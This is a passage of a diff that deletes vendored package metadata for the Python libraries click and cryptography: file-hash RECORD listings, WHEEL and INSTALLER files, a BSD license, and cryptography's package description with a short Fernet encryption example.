|
|
||||||
[contrib]: https://palletsprojects.com/contributing/
|
|
||||||
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
click-8.2.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
|
|
||||||
click-8.2.1.dist-info/METADATA,sha256=dI1MbhHTLoKD2tNCCGnx9rK2gok23HDNylFeLKdLSik,2471
|
|
||||||
click-8.2.1.dist-info/RECORD,,
|
|
||||||
click-8.2.1.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82
|
|
||||||
click-8.2.1.dist-info/licenses/LICENSE.txt,sha256=morRBqOU6FO_4h9C9OctWSgZoigF2ZG18ydQKSkrZY0,1475
|
|
||||||
click/__init__.py,sha256=6YyS1aeyknZ0LYweWozNZy0A9nZ_11wmYIhv3cbQrYo,4473
|
|
||||||
click/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
click/__pycache__/_compat.cpython-313.pyc,,
|
|
||||||
click/__pycache__/_termui_impl.cpython-313.pyc,,
|
|
||||||
click/__pycache__/_textwrap.cpython-313.pyc,,
|
|
||||||
click/__pycache__/_winconsole.cpython-313.pyc,,
|
|
||||||
click/__pycache__/core.cpython-313.pyc,,
|
|
||||||
click/__pycache__/decorators.cpython-313.pyc,,
|
|
||||||
click/__pycache__/exceptions.cpython-313.pyc,,
|
|
||||||
click/__pycache__/formatting.cpython-313.pyc,,
|
|
||||||
click/__pycache__/globals.cpython-313.pyc,,
|
|
||||||
click/__pycache__/parser.cpython-313.pyc,,
|
|
||||||
click/__pycache__/shell_completion.cpython-313.pyc,,
|
|
||||||
click/__pycache__/termui.cpython-313.pyc,,
|
|
||||||
click/__pycache__/testing.cpython-313.pyc,,
|
|
||||||
click/__pycache__/types.cpython-313.pyc,,
|
|
||||||
click/__pycache__/utils.cpython-313.pyc,,
|
|
||||||
click/_compat.py,sha256=v3xBZkFbvA1BXPRkFfBJc6-pIwPI7345m-kQEnpVAs4,18693
|
|
||||||
click/_termui_impl.py,sha256=ASXhLi9IQIc0Js9KQSS-3-SLZcPet3VqysBf9WgbbpI,26712
|
|
||||||
click/_textwrap.py,sha256=BOae0RQ6vg3FkNgSJyOoGzG1meGMxJ_ukWVZKx_v-0o,1400
|
|
||||||
click/_winconsole.py,sha256=_vxUuUaxwBhoR0vUWCNuHY8VUefiMdCIyU2SXPqoF-A,8465
|
|
||||||
click/core.py,sha256=gUhpNS9cFBGdEXXdisGVG-eRvGf49RTyFagxulqwdFw,117343
|
|
||||||
click/decorators.py,sha256=5P7abhJtAQYp_KHgjUvhMv464ERwOzrv2enNknlwHyQ,18461
|
|
||||||
click/exceptions.py,sha256=1rdtXgHJ1b3OjGkN-UpXB9t_HCBihJvh_DtpmLmwn9s,9891
|
|
||||||
click/formatting.py,sha256=Bhqx4QXdKQ9W4WKknIwj5KPKFmtduGOuGq1yw_THLZ8,9726
|
|
||||||
click/globals.py,sha256=gM-Nh6A4M0HB_SgkaF5M4ncGGMDHc_flHXu9_oh4GEU,1923
|
|
||||||
click/parser.py,sha256=nU1Ah2p11q29ul1vNdU9swPo_PUuKrxU6YXToi71q1c,18979
|
|
||||||
click/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
||||||
click/shell_completion.py,sha256=CQSGdjgun4ORbOZrXP0CVhEtPx4knsufOkRsDiK64cM,19857
|
|
||||||
click/termui.py,sha256=vAYrKC2a7f_NfEIhAThEVYfa__ib5XQbTSCGtJlABRA,30847
|
|
||||||
click/testing.py,sha256=2eLdAaCJCGToP5Tw-XN8JjrDb3wbJIfARxg3d0crW5M,18702
|
|
||||||
click/types.py,sha256=KBTRxN28cR1VZ5mb9iJX98MQSw_p9SGzljqfEI8z5Tw,38389
|
|
||||||
click/utils.py,sha256=b1Mm-usEDBHtEwcPltPIn3zSK4nw2KTp5GC7_oSTlLo,20245
|
|
||||||
@@ -1,4 +0,0 @@
|
|||||||
Wheel-Version: 1.0
|
|
||||||
Generator: flit 3.12.0
|
|
||||||
Root-Is-Purelib: true
|
|
||||||
Tag: py3-none-any
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
Copyright 2014 Pallets
|
|
||||||
|
|
||||||
Redistribution and use in source and binary forms, with or without
|
|
||||||
modification, are permitted provided that the following conditions are
|
|
||||||
met:
|
|
||||||
|
|
||||||
1. Redistributions of source code must retain the above copyright
|
|
||||||
notice, this list of conditions and the following disclaimer.
|
|
||||||
|
|
||||||
2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
notice, this list of conditions and the following disclaimer in the
|
|
||||||
documentation and/or other materials provided with the distribution.
|
|
||||||
|
|
||||||
3. Neither the name of the copyright holder nor the names of its
|
|
||||||
contributors may be used to endorse or promote products derived from
|
|
||||||
this software without specific prior written permission.
|
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
||||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
|
||||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
|
||||||
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
|
||||||
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
|
||||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
|
|
||||||
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
|
||||||
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
|
||||||
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
|
||||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
pip
|
|
||||||
@@ -1,139 +0,0 @@
|
|||||||
Metadata-Version: 2.4
|
|
||||||
Name: cryptography
|
|
||||||
Version: 46.0.5
|
|
||||||
Classifier: Development Status :: 5 - Production/Stable
|
|
||||||
Classifier: Intended Audience :: Developers
|
|
||||||
Classifier: Natural Language :: English
|
|
||||||
Classifier: Operating System :: MacOS :: MacOS X
|
|
||||||
Classifier: Operating System :: POSIX
|
|
||||||
Classifier: Operating System :: POSIX :: BSD
|
|
||||||
Classifier: Operating System :: POSIX :: Linux
|
|
||||||
Classifier: Operating System :: Microsoft :: Windows
|
|
||||||
Classifier: Programming Language :: Python
|
|
||||||
Classifier: Programming Language :: Python :: 3
|
|
||||||
Classifier: Programming Language :: Python :: 3 :: Only
|
|
||||||
Classifier: Programming Language :: Python :: 3.8
|
|
||||||
Classifier: Programming Language :: Python :: 3.9
|
|
||||||
Classifier: Programming Language :: Python :: 3.10
|
|
||||||
Classifier: Programming Language :: Python :: 3.11
|
|
||||||
Classifier: Programming Language :: Python :: 3.12
|
|
||||||
Classifier: Programming Language :: Python :: 3.13
|
|
||||||
Classifier: Programming Language :: Python :: 3.14
|
|
||||||
Classifier: Programming Language :: Python :: Implementation :: CPython
|
|
||||||
Classifier: Programming Language :: Python :: Implementation :: PyPy
|
|
||||||
Classifier: Programming Language :: Python :: Free Threading :: 3 - Stable
|
|
||||||
Classifier: Topic :: Security :: Cryptography
|
|
||||||
Requires-Dist: cffi>=1.14 ; python_full_version == '3.8.*' and platform_python_implementation != 'PyPy'
|
|
||||||
Requires-Dist: cffi>=2.0.0 ; python_full_version >= '3.9' and platform_python_implementation != 'PyPy'
|
|
||||||
Requires-Dist: typing-extensions>=4.13.2 ; python_full_version < '3.11'
|
|
||||||
Requires-Dist: bcrypt>=3.1.5 ; extra == 'ssh'
|
|
||||||
Requires-Dist: nox[uv]>=2024.4.15 ; extra == 'nox'
|
|
||||||
Requires-Dist: cryptography-vectors==46.0.5 ; extra == 'test'
|
|
||||||
Requires-Dist: pytest>=7.4.0 ; extra == 'test'
|
|
||||||
Requires-Dist: pytest-benchmark>=4.0 ; extra == 'test'
|
|
||||||
Requires-Dist: pytest-cov>=2.10.1 ; extra == 'test'
|
|
||||||
Requires-Dist: pytest-xdist>=3.5.0 ; extra == 'test'
|
|
||||||
Requires-Dist: pretend>=0.7 ; extra == 'test'
|
|
||||||
Requires-Dist: certifi>=2024 ; extra == 'test'
|
|
||||||
Requires-Dist: pytest-randomly ; extra == 'test-randomorder'
|
|
||||||
Requires-Dist: sphinx>=5.3.0 ; extra == 'docs'
|
|
||||||
Requires-Dist: sphinx-rtd-theme>=3.0.0 ; extra == 'docs'
|
|
||||||
Requires-Dist: sphinx-inline-tabs ; extra == 'docs'
|
|
||||||
Requires-Dist: pyenchant>=3 ; extra == 'docstest'
|
|
||||||
Requires-Dist: readme-renderer>=30.0 ; extra == 'docstest'
|
|
||||||
Requires-Dist: sphinxcontrib-spelling>=7.3.1 ; extra == 'docstest'
|
|
||||||
Requires-Dist: build>=1.0.0 ; extra == 'sdist'
|
|
||||||
Requires-Dist: ruff>=0.11.11 ; extra == 'pep8test'
|
|
||||||
Requires-Dist: mypy>=1.14 ; extra == 'pep8test'
|
|
||||||
Requires-Dist: check-sdist ; extra == 'pep8test'
|
|
||||||
Requires-Dist: click>=8.0.1 ; extra == 'pep8test'
|
|
||||||
Provides-Extra: ssh
|
|
||||||
Provides-Extra: nox
|
|
||||||
Provides-Extra: test
|
|
||||||
Provides-Extra: test-randomorder
|
|
||||||
Provides-Extra: docs
|
|
||||||
Provides-Extra: docstest
|
|
||||||
Provides-Extra: sdist
|
|
||||||
Provides-Extra: pep8test
|
|
||||||
License-File: LICENSE
|
|
||||||
License-File: LICENSE.APACHE
|
|
||||||
License-File: LICENSE.BSD
|
|
||||||
Summary: cryptography is a package which provides cryptographic recipes and primitives to Python developers.
|
|
||||||
Author-email: The Python Cryptographic Authority and individual contributors <cryptography-dev@python.org>
|
|
||||||
License-Expression: Apache-2.0 OR BSD-3-Clause
|
|
||||||
Requires-Python: >=3.8, !=3.9.0, !=3.9.1
|
|
||||||
Description-Content-Type: text/x-rst; charset=UTF-8
|
|
||||||
Project-URL: homepage, https://github.com/pyca/cryptography
|
|
||||||
Project-URL: documentation, https://cryptography.io/
|
|
||||||
Project-URL: source, https://github.com/pyca/cryptography/
|
|
||||||
Project-URL: issues, https://github.com/pyca/cryptography/issues
|
|
||||||
Project-URL: changelog, https://cryptography.io/en/latest/changelog/
|
|
||||||
|
|
||||||
pyca/cryptography
|
|
||||||
=================
|
|
||||||
|
|
||||||
.. image:: https://img.shields.io/pypi/v/cryptography.svg
|
|
||||||
:target: https://pypi.org/project/cryptography/
|
|
||||||
:alt: Latest Version
|
|
||||||
|
|
||||||
.. image:: https://readthedocs.org/projects/cryptography/badge/?version=latest
|
|
||||||
:target: https://cryptography.io
|
|
||||||
:alt: Latest Docs
|
|
||||||
|
|
||||||
.. image:: https://github.com/pyca/cryptography/actions/workflows/ci.yml/badge.svg
|
|
||||||
:target: https://github.com/pyca/cryptography/actions/workflows/ci.yml?query=branch%3Amain
|
|
||||||
|
|
||||||
``cryptography`` is a package which provides cryptographic recipes and
|
|
||||||
primitives to Python developers. Our goal is for it to be your "cryptographic
|
|
||||||
standard library". It supports Python 3.8+ and PyPy3 7.3.11+.
|
|
||||||
|
|
||||||
``cryptography`` includes both high level recipes and low level interfaces to
|
|
||||||
common cryptographic algorithms such as symmetric ciphers, message digests, and
|
|
||||||
key derivation functions. For example, to encrypt something with
|
|
||||||
``cryptography``'s high level symmetric encryption recipe:
|
|
||||||
|
|
||||||
.. code-block:: pycon
|
|
||||||
|
|
||||||
>>> from cryptography.fernet import Fernet
|
|
||||||
>>> # Put this somewhere safe!
|
|
||||||
>>> key = Fernet.generate_key()
|
|
||||||
>>> f = Fernet(key)
|
|
||||||
>>> token = f.encrypt(b"A really secret message. Not for prying eyes.")
|
|
||||||
>>> token
|
|
||||||
b'...'
|
|
||||||
>>> f.decrypt(token)
|
|
||||||
b'A really secret message. Not for prying eyes.'
|
|
||||||
|
|
||||||
You can find more information in the `documentation`_.
|
|
||||||
|
|
||||||
You can install ``cryptography`` with:
|
|
||||||
|
|
||||||
.. code-block:: console
|
|
||||||
|
|
||||||
$ pip install cryptography
|
|
||||||
|
|
||||||
For full details see `the installation documentation`_.
|
|
||||||
|
|
||||||
Discussion
|
|
||||||
~~~~~~~~~~
|
|
||||||
|
|
||||||
If you run into bugs, you can file them in our `issue tracker`_.
|
|
||||||
|
|
||||||
We maintain a `cryptography-dev`_ mailing list for development discussion.
|
|
||||||
|
|
||||||
You can also join ``#pyca`` on ``irc.libera.chat`` to ask questions or get
|
|
||||||
involved.
|
|
||||||
|
|
||||||
Security
|
|
||||||
~~~~~~~~
|
|
||||||
|
|
||||||
Need to report a security issue? Please consult our `security reporting`_
|
|
||||||
documentation.
|
|
||||||
|
|
||||||
|
|
||||||
.. _`documentation`: https://cryptography.io/
|
|
||||||
.. _`the installation documentation`: https://cryptography.io/en/latest/installation/
|
|
||||||
.. _`issue tracker`: https://github.com/pyca/cryptography/issues
|
|
||||||
.. _`cryptography-dev`: https://mail.python.org/mailman/listinfo/cryptography-dev
|
|
||||||
.. _`security reporting`: https://cryptography.io/en/latest/security/
|
|
||||||
|
|
||||||
@@ -1,180 +0,0 @@
|
|||||||
cryptography-46.0.5.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
|
|
||||||
cryptography-46.0.5.dist-info/METADATA,sha256=aOYB9_B-Ccske76ncMz-w9c_VnzYihv_7kxZlt2i2WQ,5748
|
|
||||||
cryptography-46.0.5.dist-info/RECORD,,
|
|
||||||
cryptography-46.0.5.dist-info/WHEEL,sha256=8hEf8NzM1FnmM77AjVt5h8nDuYkN3UqZ79LoIAHXeRE,95
|
|
||||||
cryptography-46.0.5.dist-info/licenses/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197
|
|
||||||
cryptography-46.0.5.dist-info/licenses/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360
|
|
||||||
cryptography-46.0.5.dist-info/licenses/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532
|
|
||||||
cryptography/__about__.py,sha256=GWg4NAxg4vsSKUwmDy1HjUeAOhqTA46wIhiY6i03NSU,445
|
|
||||||
cryptography/__init__.py,sha256=mthuUrTd4FROCpUYrTIqhjz6s6T9djAZrV7nZ1oMm2o,364
|
|
||||||
cryptography/__pycache__/__about__.cpython-313.pyc,,
|
|
||||||
cryptography/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/__pycache__/exceptions.cpython-313.pyc,,
|
|
||||||
cryptography/__pycache__/fernet.cpython-313.pyc,,
|
|
||||||
cryptography/__pycache__/utils.cpython-313.pyc,,
|
|
||||||
cryptography/exceptions.py,sha256=835EWILc2fwxw-gyFMriciC2SqhViETB10LBSytnDIc,1087
|
|
||||||
cryptography/fernet.py,sha256=3Cvxkh0KJSbX8HbnCHu4wfCW7U0GgfUA3v_qQ8a8iWc,6963
|
|
||||||
cryptography/hazmat/__init__.py,sha256=5IwrLWrVp0AjEr_4FdWG_V057NSJGY_W4egNNsuct0g,455
|
|
||||||
cryptography/hazmat/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/__pycache__/_oid.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/_oid.py,sha256=p8ThjwJB56Ci_rAIrjyJ1f8VjgD6e39es2dh8JIUBOw,17240
|
|
||||||
cryptography/hazmat/asn1/__init__.py,sha256=hS_EWx3wVvZzfbCcNV8hzcDnyMM8H-BhIoS1TipUosk,293
|
|
||||||
cryptography/hazmat/asn1/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/asn1/__pycache__/asn1.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/asn1/asn1.py,sha256=eMEThEXa19LQjcyVofgHsW6tsZnjp3ddH7bWkkcxfLM,3860
|
|
||||||
cryptography/hazmat/backends/__init__.py,sha256=O5jvKFQdZnXhKeqJ-HtulaEL9Ni7mr1mDzZY5kHlYhI,361
|
|
||||||
cryptography/hazmat/backends/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/backends/openssl/__init__.py,sha256=p3jmJfnCag9iE5sdMrN6VvVEu55u46xaS_IjoI0SrmA,305
|
|
||||||
cryptography/hazmat/backends/openssl/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/backends/openssl/__pycache__/backend.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/backends/openssl/backend.py,sha256=tV5AxBoFJ2GfA0DMWSY-0TxQJrpQoexzI9R4Kybb--4,10215
|
|
||||||
cryptography/hazmat/bindings/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180
|
|
||||||
cryptography/hazmat/bindings/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/bindings/_rust.pyd,sha256=knGoVIXvM_YJK_uAE8So79A94TE14UB_CTtgTk71420,9110528
|
|
||||||
cryptography/hazmat/bindings/_rust/__init__.pyi,sha256=KhqLhXFPArPzzJ7DYO9Fl8FoXB_BagAd_r4Dm_Ze9Xo,1257
|
|
||||||
cryptography/hazmat/bindings/_rust/_openssl.pyi,sha256=mpNJLuYLbCVrd5i33FBTmWwL_55Dw7JPkSLlSX9Q7oI,230
|
|
||||||
cryptography/hazmat/bindings/_rust/asn1.pyi,sha256=BrGjC8J6nwuS-r3EVcdXJB8ndotfY9mbQYOfpbPG0HA,354
|
|
||||||
cryptography/hazmat/bindings/_rust/declarative_asn1.pyi,sha256=2ECFmYue1EPkHEE2Bm7aLwkjB0mSUTpr23v9MN4pri4,892
|
|
||||||
cryptography/hazmat/bindings/_rust/exceptions.pyi,sha256=exXr2xw_0pB1kk93cYbM3MohbzoUkjOms1ZMUi0uQZE,640
|
|
||||||
cryptography/hazmat/bindings/_rust/ocsp.pyi,sha256=VPVWuKHI9EMs09ZLRYAGvR0Iz0mCMmEzXAkgJHovpoM,4020
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/__init__.pyi,sha256=iOAMDyHoNwwCSZfZzuXDr64g4GpGUeDgEN-LjXqdrBM,1522
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/aead.pyi,sha256=4Nddw6-ynzIB3w2W86WvkGKTLlTDk_6F5l54RHCuy3E,2688
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/ciphers.pyi,sha256=LhPzHWSXJq4grAJXn6zSvSSdV-aYIIscHDwIPlJGGPs,1315
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/cmac.pyi,sha256=nPH0X57RYpsAkRowVpjQiHE566ThUTx7YXrsadmrmHk,564
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/dh.pyi,sha256=Z3TC-G04-THtSdAOPLM1h2G7ml5bda1ElZUcn5wpuhk,1564
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/dsa.pyi,sha256=qBtkgj2albt2qFcnZ9UDrhzoNhCVO7HTby5VSf1EXMI,1299
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/ec.pyi,sha256=zJy0pRa5n-_p2dm45PxECB_-B6SVZyNKfjxFDpPqT38,1691
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/ed25519.pyi,sha256=VXfXd5G6hUivg399R1DYdmW3eTb0EebzDTqjRC2gaRw,532
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/ed448.pyi,sha256=Yx49lqdnjsD7bxiDV1kcaMrDktug5evi5a6zerMiy2s,514
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/hashes.pyi,sha256=OWZvBx7xfo_HJl41Nc--DugVyCVPIprZ3HlOPTSWH9g,984
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/hmac.pyi,sha256=BXZn7NDjL3JAbYW0SQ8pg1iyC5DbQXVhUAiwsi8DFR8,702
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/kdf.pyi,sha256=xXfFBb9QehHfDtEaxV_65Z0YK7NquOVIChpTLkgAs_k,2029
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/keys.pyi,sha256=teIt8M6ZEMJrn4s3W0UnW0DZ-30Jd68WnSsKKG124l0,912
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/poly1305.pyi,sha256=_SW9NtQ5FDlAbdclFtWpT4lGmxKIKHpN-4j8J2BzYfQ,585
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/rsa.pyi,sha256=2OQCNSXkxgc-3uw1xiCCloIQTV6p9_kK79Yu0rhZgPc,1364
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/x25519.pyi,sha256=ewn4GpQyb7zPwE-ni7GtyQgMC0A1mLuqYsSyqv6nI_s,523
|
|
||||||
cryptography/hazmat/bindings/_rust/openssl/x448.pyi,sha256=juTZTmli8jO_5Vcufg-vHvx_tCyezmSLIh_9PU3TczI,505
|
|
||||||
cryptography/hazmat/bindings/_rust/pkcs12.pyi,sha256=vEEd5wDiZvb8ZGFaziLCaWLzAwoG_tvPUxLQw5_uOl8,1605
|
|
||||||
cryptography/hazmat/bindings/_rust/pkcs7.pyi,sha256=txGBJijqZshEcqra6byPNbnisIdlxzOSIHP2hl9arPs,1601
|
|
||||||
cryptography/hazmat/bindings/_rust/test_support.pyi,sha256=PPhld-WkO743iXFPebeG0LtgK0aTzGdjcIsay1Gm5GE,757
|
|
||||||
cryptography/hazmat/bindings/_rust/x509.pyi,sha256=n9X0IQ6ICbdIi-ExdCFZoBgeY6njm3QOVAVZwDQdnbk,9784
|
|
||||||
cryptography/hazmat/bindings/openssl/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180
|
|
||||||
cryptography/hazmat/bindings/openssl/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/bindings/openssl/__pycache__/_conditional.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/bindings/openssl/__pycache__/binding.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/bindings/openssl/_conditional.py,sha256=DMOpA_XN4l70zTc5_J9DpwlbQeUBRTWpfIJ4yRIn1-U,5791
|
|
||||||
cryptography/hazmat/bindings/openssl/binding.py,sha256=x8eocEmukO4cm7cHqfVmOoYY7CCXdoF1v1WhZQt9neo,4610
|
|
||||||
cryptography/hazmat/decrepit/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216
|
|
||||||
cryptography/hazmat/decrepit/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/decrepit/ciphers/__init__.py,sha256=wHCbWfaefa-fk6THSw9th9fJUsStJo7245wfFBqmduA,216
|
|
||||||
cryptography/hazmat/decrepit/ciphers/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/decrepit/ciphers/__pycache__/algorithms.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/decrepit/ciphers/algorithms.py,sha256=YrKgHS4MfwWaMmPBYRymRRlC0phwWp9ycICFezeJPGk,2595
|
|
||||||
cryptography/hazmat/primitives/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180
|
|
||||||
cryptography/hazmat/primitives/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/__pycache__/_asymmetric.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/__pycache__/_cipheralgorithm.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/__pycache__/_serialization.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/__pycache__/cmac.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/__pycache__/constant_time.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/__pycache__/hashes.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/__pycache__/hmac.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/__pycache__/keywrap.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/__pycache__/padding.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/__pycache__/poly1305.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/_asymmetric.py,sha256=RhgcouUB6HTiFDBrR1LxqkMjpUxIiNvQ1r_zJjRG6qQ,532
|
|
||||||
cryptography/hazmat/primitives/_cipheralgorithm.py,sha256=Eh3i7lwedHfi0eLSsH93PZxQKzY9I6lkK67vL4V5tOc,1522
|
|
||||||
cryptography/hazmat/primitives/_serialization.py,sha256=chgPCSF2jxI2Cr5gB-qbWXOvOfupBh4CARS0KAhv9AM,5123
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__init__.py,sha256=s9oKCQ2ycFdXoERdS1imafueSkBsL9kvbyfghaauZ9Y,180
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/dh.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/dsa.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/ec.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/ed25519.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/ed448.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/padding.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/rsa.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/types.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/utils.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/x25519.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/__pycache__/x448.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/asymmetric/dh.py,sha256=0v_vEFFz5pQ1QG-FkWDyvgv7IfuVZSH5Q6LyFI5A8rg,3645
|
|
||||||
cryptography/hazmat/primitives/asymmetric/dsa.py,sha256=Ld_bbbqQFz12dObHxIkzEQzX0SWWP41RLSWkYSaKhqE,4213
|
|
||||||
cryptography/hazmat/primitives/asymmetric/ec.py,sha256=dj0ZR_jTVI1wojjipjbXNVccPSIRObWxSZcTGQKGbHc,13437
|
|
||||||
cryptography/hazmat/primitives/asymmetric/ed25519.py,sha256=jZW5cs472wXXV3eB0sE1b8w64gdazwwU0_MT5UOTiXs,3700
|
|
||||||
cryptography/hazmat/primitives/asymmetric/ed448.py,sha256=yAetgn2f2JYf0BO8MapGzXeThsvSMG5LmUCrxVOidAA,3729
|
|
||||||
cryptography/hazmat/primitives/asymmetric/padding.py,sha256=vQ6l6gOg9HqcbOsvHrSiJRVLdEj9L4m4HkRGYziTyFA,2854
|
|
||||||
cryptography/hazmat/primitives/asymmetric/rsa.py,sha256=ZnKOo2f34MCCOupC03Y1uR-_jiSG5IrelHEmxaME3D4,8303
|
|
||||||
cryptography/hazmat/primitives/asymmetric/types.py,sha256=LnsOJym-wmPUJ7Knu_7bCNU3kIiELCd6krOaW_JU08I,2996
|
|
||||||
cryptography/hazmat/primitives/asymmetric/utils.py,sha256=DPTs6T4F-UhwzFQTh-1fSEpQzazH2jf2xpIro3ItF4o,790
|
|
||||||
cryptography/hazmat/primitives/asymmetric/x25519.py,sha256=_4nQeZ3yJ3Lg0RpXnaqA-1yt6vbx1F-wzLcaZHwSpeE,3613
|
|
||||||
cryptography/hazmat/primitives/asymmetric/x448.py,sha256=WKBLtuVfJqiBRro654fGaQAlvsKbqbNkK7c4A_ZCdV0,3642
|
|
||||||
cryptography/hazmat/primitives/ciphers/__init__.py,sha256=eyEXmjk6_CZXaOPYDr7vAYGXr29QvzgWL2-4CSolLFs,680
|
|
||||||
cryptography/hazmat/primitives/ciphers/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/ciphers/__pycache__/aead.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/ciphers/__pycache__/algorithms.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/ciphers/__pycache__/base.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/ciphers/__pycache__/modes.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/ciphers/aead.py,sha256=Fzlyx7w8KYQakzDp1zWgJnIr62zgZrgVh1u2h4exB54,634
|
|
||||||
cryptography/hazmat/primitives/ciphers/algorithms.py,sha256=Q7ZJwcsx83Mgxv5y7r6CyJKSdsOwC-my-5A67-ma2vw,3407
|
|
||||||
cryptography/hazmat/primitives/ciphers/base.py,sha256=aBC7HHBBoixebmparVr0UlODs3VD0A7B6oz_AaRjDv8,4253
|
|
||||||
cryptography/hazmat/primitives/ciphers/modes.py,sha256=20stpwhDtbAvpH0SMf9EDHIciwmTF-JMBUOZ9bU8WiQ,8318
|
|
||||||
